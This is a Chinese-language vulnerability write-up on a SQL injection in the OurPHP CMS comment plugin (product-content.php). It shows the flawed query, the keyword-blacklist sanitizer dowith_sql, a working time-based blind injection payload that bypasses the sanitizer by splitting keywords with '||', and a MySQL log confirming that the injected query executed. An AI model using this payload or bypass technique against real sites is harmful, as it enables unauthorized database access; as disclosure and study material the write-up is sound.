漏洞文件:/function/plugs/Comment/product-content.php 由于文件比较大,代码比较多,我就只贴了关键的代码。
$OP_Class = isset($_GET['id'])?$_GET['id']:"0"; $OP_Type = isset($_GET['type'])?$_GET['type']:"productview"; $OP_Row = isset($_GET['row'])?$_GET['row']:"10";
这上面是获取参数的代码,下面来看看进库:
$sql="select * from `ourphp_comment` where OP_Class = ".intval($OP_Class)." && OP_Type = '".dowith_sql($OP_Type)."' order by time desc LIMIT 0,".dowith_sql($OP_Row);
$OP_Class这个是没戏了,$OP_Type这个过不了addslashes,$OP_Row这个被一个dowith_sql的函数保护着,我们来看看dowith_sql函数:
function dowith_sql($ourphpstr){ $ourphpstr = addslashes($ourphpstr); $ourphpstr = str_ireplace("and"," and",$ourphpstr); $ourphpstr = str_ireplace("or"," or",$ourphpstr); $ourphpstr = str_ireplace("execute","ourphp",$ourphpstr); $ourphpstr = str_ireplace("update","ourphp",$ourphpstr); $ourphpstr = str_ireplace("count","ourphp",$ourphpstr); $ourphpstr = str_ireplace("chr","ourphp",$ourphpstr); $ourphpstr = str_ireplace("mid","ourphp",$ourphpstr); $ourphpstr = str_ireplace("master","ourphp",$ourphpstr); $ourphpstr = str_ireplace("truncate","ourphp",$ourphpstr); $ourphpstr = str_ireplace("char","ourphp",$ourphpstr); $ourphpstr = str_ireplace("declare","ourphp",$ourphpstr); $ourphpstr = str_ireplace("select","ourphp",$ourphpstr); $ourphpstr = str_ireplace("create","ourphp",$ourphpstr); $ourphpstr = str_ireplace("delete","ourphp",$ourphpstr); $ourphpstr = str_ireplace("insert","ourphp",$ourphpstr); $ourphpstr = str_ireplace("&&","",$ourphpstr); $ourphpstr = str_ireplace("||","",$ourphpstr); $ourphpstr = str_ireplace("%","\%",$ourphpstr); $ourphpstr = str_ireplace("_","\_",$ourphpstr); $ourphpstr = str_ireplace("alert","ourphp",$ourphpstr); $ourphpstr = str_ireplace("md5","ourphp",$ourphpstr); $ourphpstr = str_ireplace("script","ourphp",$ourphpstr); $ourphpstr = str_ireplace("iframe","ourphp",$ourphpstr); return $ourphpstr; }
这个绕过是xser大牛告诉我的,其实也很简单,就是没想到。 注意这两行:
$ourphpstr = str_ireplace("&&","",$ourphpstr); $ourphpstr = str_ireplace("||","",$ourphpstr);
根据这两行可以构造出payload: row=10 PROCEDURE analyse((sel||ect extractvalue(ran||d(),concat(0x3a,(IF(SUBSTRING(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) 这样去掉||后还是能够正常注入的,而且还绕过了这个函数。 由于不回显,所以这里只能盲注了。 利用方法可以参考p牛之前发的一篇文章(作者好像是一个老外,不过p牛那边有更详细的,而且还是中文捏!)
看看mysql监控: 2015/10/26 16:28 select * from `ourphp_comment` where OP_Class = 8 && OP_Type = 'productview' order by time desc LIMIT 0,10 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(SUBSTRING(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)